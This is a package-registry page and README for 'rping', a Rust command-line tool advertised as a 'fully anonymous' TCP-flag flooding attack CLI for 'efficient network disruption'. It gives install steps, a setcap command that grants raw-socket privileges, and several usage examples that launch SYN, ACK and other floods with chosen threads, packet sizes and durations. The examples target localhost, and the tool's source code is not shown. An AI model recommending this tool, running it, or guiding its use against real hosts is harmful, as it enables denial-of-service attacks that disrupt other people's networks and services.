#tcp #syn #networking #pcap #command-line-tool #per-thread

bin+lib rping

🌊 A Fully Anonymous Any TCP Flag Flooding Attack CLI

6 releases

0.1.5 Jan 12, 2024
0.1.4 Jan 8, 2024

#854 in Network programming

MIT license

42KB
510 lines

🌊 RPING

Crates.io docs License

rping 0.1.5
 ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄        ▄  ▄▄▄▄▄▄▄▄▄▄▄ 
▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░▌      ▐░▌▐░░░░░░░░░░░▌
▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌ ▀▀▀▀█░█▀▀▀▀ ▐░▌░▌     ▐░▌▐░█▀▀▀▀▀▀▀▀▀ 
▐░▌       ▐░▌▐░▌       ▐░▌     ▐░▌     ▐░▌▐░▌    ▐░▌▐░▌          
▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄█░▌     ▐░▌     ▐░▌ ▐░▌   ▐░▌▐░▌ ▄▄▄▄▄▄▄▄ 
▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌     ▐░▌     ▐░▌  ▐░▌  ▐░▌▐░▌▐░░░░░░░░▌
▐░█▀▀▀▀█░█▀▀ ▐░█▀▀▀▀▀▀▀▀▀      ▐░▌     ▐░▌   ▐░▌ ▐░▌▐░▌ ▀▀▀▀▀▀█░▌
▐░▌     ▐░▌  ▐░▌               ▐░▌     ▐░▌    ▐░▌▐░▌▐░▌       ▐░▌
▐░▌      ▐░▌ ▐░▌           ▄▄▄▄█░█▄▄▄▄ ▐░▌     ▐░▐░▌▐░█▄▄▄▄▄▄▄█░▌
▐░▌       ▐░▌▐░▌          ▐░░░░░░░░░░░▌▐░▌      ▐░░▌▐░░░░░░░░░░░▌
          ▀  ▀            ▀▀▀▀▀▀▀▀▀▀▀  ▀        ▀▀  ▀▀▀▀▀▀▀▀▀▀▀ 

🌊 RPING CLI
============

A powerful command-line tool for executing TCP flags flooding attacks.
Customize attacks with options like packet length, number of threads,
and TCP flags for efficient network disruption.

🚀 rping: A robust, fully anonymous, Rust-based CLI for any TCP flag flooding attacks.

📖 Table of Contents

🚀 Installation

To install rping, use the following Cargo command:

cargo install --locked --all-features rping

Once installed, run the following command:

sudo setcap cap_net_raw+ep ~/.cargo/bin/rping

This will set the CAP_NET_RAW capability and make rping run with elevated privileges.

✨ Features

  • Perform any TCP flag, e.g. syn, flooding attacks with customizable parameters.
  • Specify the length of tcp packets, target IP, target port, number of packets and the attack duration.
  • Multi-threaded execution for increased efficiency.

🚗 Usage

Learn how to use rping and explore its features with the following examples:

Perform a SYN flooding attack:

rping -t 127.0.0.1 -p 80

Specify the packet length:

rping -s 150 -t 127.0.0.1 -p 443

Use multiple threads:

rping -s 1500 -t 127.0.0.1 -p 8080 -h 16

Specify the TCP flag (e.g., ack, urg):

rping -f ack -t 127.0.0.1 -p 8080

Set the attack duration in minutes:

rping -d 5 -t 127.0.0.1 -p 80

Set the number of packets per thread:

rping -n 10000 -t 127.0.0.1 -p 8080

Set the network interface:

rping -n 10000 -t 127.0.0.1 -p 8080 -i eth0

🎨 Options

Option Default Value Description
-s, --size 1500 Set the length of SYN packets.
-t, --target Specify the target IP address to flood.
-p, --port 80 Set the target port number for the attack.
-h, --threads 8 Set the number of threads for the attack.
-f, --flag syn Specify the TCP flag (e.g., syn, ack, urg...).
-d, --duration 1 Set the attack duration in minutes.
-n, --number 2^63 Set the number of packets per thread.
-i, --iface eth0 Set the network interface to bind the socket to.

[!NOTE] Configuring the network interface is restricted to iOS, macOS, tvOS, or watchOS due to limitations in socket2.

🤝 Contributing

Contributions and feedback are welcome! If you'd like to contribute, report an issue, or suggest an enhancement, please engage with the project on GitHub. Your contributions help improve this CLI tool for the community.

📄 License

This project is licensed under the MIT License.

Dependencies

~0.4–9MB
~55K SLoC